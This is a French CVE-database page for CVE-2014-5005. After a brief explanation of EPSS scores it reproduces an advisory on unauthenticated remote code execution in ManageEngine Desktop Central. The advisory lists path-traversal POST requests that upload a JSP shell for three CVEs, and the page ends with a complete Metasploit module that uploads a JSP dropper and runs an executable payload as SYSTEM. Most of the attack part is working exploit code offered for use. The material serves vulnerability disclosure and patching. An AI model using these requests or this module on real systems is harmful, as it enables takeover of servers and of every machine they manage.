CVE-2014-5005 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Arbitrary file upload / remote code execution in ManageEngine Desktop Central / Desktop Central MSP Discovered by Pedro Ribeiro ([email protected]), Agile Information Security ================================================================================= Background on the affected product: "Desktop Central is an integrated desktop & mobile device management software that helps in managing the servers, laptops, desktops, smartphones and tablets from a central point. It automates your regular desktop management routines like installing patches, distributing software, managing your IT Assets, managing software licenses, monitoring software usage statistics, managing USB device usage, taking control of remote desktops, and more." There are several vulnerable servers are out there if you know the Google dorks. Quoting the author of the Internet Census 2012: "As a rule of thumb, if you believe that "nobody would connect that to the Internet, really nobody", there are at least 1000 people who did." These vulnerabilities can be abused to achieve remote code execution as SYSTEM in Windows. I've updated the desktopcentral_file_upload Metasploit module to use the new statusUpdate technique. Needless to say, owning a Desktop Central box will give you control of all the computers and smartphones it manages. Technical details: #1 Vulnerability: Remote code execution as SYSTEM via file upload (unauthenticated) Constraints: none; no authentication or any other information needed a) CVE-2014-5005 Affected versions: all versions from v7 to v9 build 90054 Fix: Upgrade to DC v9 build 90055 POST /statusUpdate?actionToCall=LFU&customerId=1337&fileName=../../../../../../shell.jsp&configDataID=1 <... your favourite jsp shell here ...> b) CVE-2014-5006 Affected versions: all versions from v8 to v9 build 90054 Fix: Upgrade to DC v9 build 90055 POST /mdm/mdmLogUploader?filename=..\\..\\..\webapps\\DesktopCentral\\shell.jsp <... your favourite jsp shell here ...> #2 CVE-2014-5007 Vulnerability: Remote code execution as SYSTEM via file upload (unauthenticated) Constraints: no authentication needed; need to know valid computerName, domainName and customerId Affected versions: all versions from v7 to v9 build 90054 Fix: Upgrade to DC v9 build 90055 Notes: This was previously discovered as CVE-2013-7390 / OSVDB-10008 by Thomas Hibbert, and was "fixed" in 2013-11-09. The fix is incomplete and it is still possible to upload a shell with a valid computerName, domainName and customerId. POST /agentLogUploader?computerName=whatever1&domainName=whatever2&customerId=1337&filename=..\\..\\..\\..\\webapps\\DesktopCentral\\shell.jsp <... your favourite jsp shell here ...>

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'ManageEngine Desktop Central StatusUpdate Arbitrary File Upload', 'Description' => %q{ This module exploits an arbitrary file upload vulnerability in ManageEngine DesktopCentral v7 to v9 build 90054 (including the MSP versions). A malicious user can upload a JSP file into the web root without authentication, leading to arbitrary code execution as SYSTEM. Some early builds of version 7 are not exploitable as they do not ship with a bundled Java compiler. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-5005'], ['OSVDB', '110643'], ['URL', 'http://seclists.org/fulldisclosure/2014/Aug/88'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/me_dc9_file_upload.txt'] ], 'Platform' => 'win', 'Arch' => ARCH_X86, 'Targets' => [ [ 'Desktop Central v7 to v9 build 90054 / Windows', {} ] ], 'Privileged' => true, 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 31 2014' )) register_options([Opt::RPORT(8020)], self.class) end # Test for Desktop Central def check res = send_request_cgi({ 'uri' => normalize_uri("configurations.do"), 'method' => 'GET' }) if res && res.code == 200 build = nil if res.body.to_s =~ /ManageEngine Desktop Central 7/ || res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7 print_status("#{peer} - Detected Desktop Central v7") elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ || res.body.to_s =~ /ManageEngine Desktop Central MSP 8/ if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v8 (later versions) build = $1 print_status("#{peer} - Detected Desktop Central v8 #{build}") else # DC v8 (earlier versions) print_status("#{peer} - Detected Desktop Central v8") end elsif res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 (and higher?) build = $1 end if build.nil? return Exploit::CheckCode::Unknown elsif Gem::Version.new(build) < Gem::Version.new("90055") return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end Exploit::CheckCode::Unknown end def exploit print_status("#{peer} - Uploading JSP to execute the payload") exe = payload.encoded_exe exe_filename = rand_text_alpha_lower(8) + ".exe" jsp_payload = jsp_drop_and_execute(exe, exe_filename) jsp_name = rand_text_alpha_lower(8) + ".jsp" send_request_cgi({ 'uri' => normalize_uri('statusUpdate'), 'method' => 'POST', 'data' => jsp_payload, 'ctype' => 'text/html', 'vars_get' => { 'actionToCall' => 'LFU', 'configDataID' => '1', 'customerId' => rand_text_numeric(4), 'fileName' => '../' * 6 << jsp_name } }) # We could check for HTTP 200 and a "success" string. # However only some later v8 and v9 versions return this; and we don't really care # and do a GET to the file we just uploaded anyway. register_files_for_cleanup(exe_filename) register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{jsp_name}") print_status("#{peer} - Executing payload") send_request_cgi( { 'uri' => normalize_uri(jsp_name), 'method' => 'GET' }) end def jsp_drop_bin(bin_data, output_file) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| jspraw << %Q|int numbytes = data.length();\n| jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| jspraw << %Q|{\n| jspraw << %Q| char char1 = (char) data.charAt(counter);\n| jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| jspraw << %Q| comb <<= 4;\n| jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| jspraw << %Q| bytes[counter/2] = (byte)comb;\n| jspraw << %Q|}\n| jspraw << %Q|outputstream.write(bytes);\n| jspraw << %Q|outputstream.close();\n| jspraw << %Q|%>\n| jspraw end def jsp_execute_command(command) jspraw = %Q|\n| jspraw << %Q|<%\n| jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| jspraw << %Q|%>\n| jspraw end def jsp_drop_and_execute(bin_data, output_file) jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file) end end